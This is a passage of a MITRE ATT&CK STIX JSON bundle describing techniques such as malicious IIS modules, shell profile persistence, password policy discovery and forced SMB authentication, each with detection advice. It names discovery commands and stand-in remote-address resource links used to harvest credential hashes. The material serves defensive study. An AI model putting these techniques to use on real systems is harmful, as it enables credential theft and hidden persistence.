2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)","description":"Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021."},{"source_name":"IIS Backdoor 2011","url":"https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html","description":"Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021."},{"source_name":"Trustwave IIS Module 2013","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/","description":"Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021."},{"source_name":"Microsoft ISAPI Extension All Incoming 2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)","description":"Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021."},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"MMPC ISAPI Filter 2012","url":"https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx","description":"MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021."},{"source_name":"Microsoft IIS Modules Overview 2007","url":"https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview","description":"Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021."},{"source_name":"ESET IIS Malware 2021","url":"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf","description":"Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."},{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"}],"modified":"2021-10-17T15:06:24.161Z","name":"IIS Components","description":"Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to <code>%windir%\\system32\\inetsrv\\config\\applicationhost.config</code> could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of <code>AppCmd.exe</code>, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Modification","File: File Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","type":"attack-pattern","created":"2020-02-10T19:49:46.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.001","url":"https://attack.mitre.org/techniques/T1036/001"},{"source_name":"Threatexpress MetaTwin 2017","url":"https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/","description":"Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019."}],"modified":"2020-02-10T19:52:47.724Z","name":"Invalid Code Signature","description":"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Johann Rehberger","Janantha Marasinghe","Menachem Shafran, XM Cyber"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","type":"attack-pattern","created":"2020-06-29T15:36:41.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.006","url":"https://attack.mitre.org/techniques/T1564/006"},{"source_name":"SingHealth Breach Jan 2019","url":"https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx","description":"Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."},{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."},{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"modified":"2021-10-14T22:21:59.708Z","name":"Run Virtual Instance","description":"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>).\n\nMonitor for commands which enable hypervisors such as Hyper-V.  If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Creation","Image: Image Metadata","Windows Registry: Windows Registry Key Modification","Service: Service Creation","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1154","url":"https://attack.mitre.org/techniques/T1154"},{"source_name":"Trap Manual","url":"https://ss64.com/bash/trap.html","description":"ss64. (n.d.). trap. Retrieved May 21, 2019."},{"source_name":"Cyberciti Trap Statements","url":"https://bash.cyberciti.biz/guide/Trap_statement","description":"Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}],"modified":"2020-01-24T14:18:13.478Z","name":"Trap","description":"The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows","Linux","macOS","IaaS","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Regina Elwell","Sudhanshu Chauhan, @Sudhanshu_C","Isif Ibrahima, Mandiant","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1201","url":"https://attack.mitre.org/techniques/T1201"},{"source_name":"AWS GetPasswordPolicy","url":"https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html","description":"Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021."},{"source_name":"Jamf User Password Policies","url":"https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines","description":"Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018."},{"source_name":"Superuser Linux Password Policies","url":"https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu","description":"Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).","modified":"2022-04-20T18:12:44.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Password Policy Discovery","x_mitre_detection":"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","User Account: User Account Metadata"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","type":"attack-pattern","created":"2020-01-22T21:04:23.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546","url":"https://attack.mitre.org/techniques/T1546"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","source_name":"FireEye WMI 2015"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"},{"url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/","description":"Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.","source_name":"amnesia malware"}],"modified":"2022-02-08T16:39:09.283Z","name":"Event Triggered Execution","description":"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.  \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Command: Command Execution","Module: Module Load","WMI: WMI Creation","File: File Creation","Process: Process Creation","Windows Registry: Windows Registry Key Modification","File: File Metadata"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Wilson","Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","type":"attack-pattern","created":"2020-01-24T14:13:45.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.004","url":"https://attack.mitre.org/techniques/T1546/004"},{"source_name":"intezer-kaiji-malware","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."},{"source_name":"bencane blog bashrc","url":"https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/","description":"Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021."},{"source_name":"anomali-rocke-tactics","url":"https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect","description":"Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020."},{"source_name":"Linux manual bash invocation","url":"https://wiki.archlinux.org/index.php/Bash#Invocation","description":"ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021."},{"source_name":"Tsunami","url":"https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/","description":"Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020."},{"source_name":"anomali-linux-rabbit","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."},{"source_name":"Magento","url":"https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html","description":"Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020."},{"source_name":"ScriptingOSX zsh","url":"https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/","description":"Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021."},{"source_name":"PersistentJXA_leopitt","url":"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5","description":"Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."},{"source_name":"code_persistence_zsh","url":"https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js","description":"Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021."},{"source_name":"macOS MS office sandbox escape","url":"https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a","description":"Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021."},{"source_name":"ESF_filemonitor","url":"https://objective-see.com/blog/blog_0x48.html","description":"Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."}],"modified":"2021-08-20T18:01:52.120Z","name":"Unix Shell Configuration Modification","description":"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to <code>/etc/profile</code> and <code>/etc/profile.d</code>, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the <code>/etc/shells</code> file.\n","x_mitre_is_subtechnique":true,"x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Command: Command Execution","File: File Modification","Process: Process Creation"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Teodor Cimpoesu","Sudhanshu Chauhan, @Sudhanshu_C"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1187","url":"https://attack.mitre.org/techniques/T1187"},{"url":"https://en.wikipedia.org/wiki/Server_Message_Block","description":"Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.","source_name":"Wikipedia Server Message Block"},{"url":"https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/","description":"Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.","source_name":"Didier Stevens WebDAV Traffic"},{"url":"https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx","description":"Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.","source_name":"Microsoft Managing WebDAV Security"},{"url":"https://github.com/hob0/hashjacking","description":"Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.","source_name":"GitHub Hashjacking"},{"url":"https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf","description":"Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.","source_name":"Cylance Redirect to SMB"},{"url":"https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/","description":"Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.","source_name":"Osanda Stealing NetNTLM Hashes"},{"url":"https://www.us-cert.gov/ncas/alerts/TA17-293A","description":"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.","source_name":"US-CERT APT Energy Oct 2017"}],"modified":"2020-06-19T17:16:41.470Z","name":"Forced Authentication","description":"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to 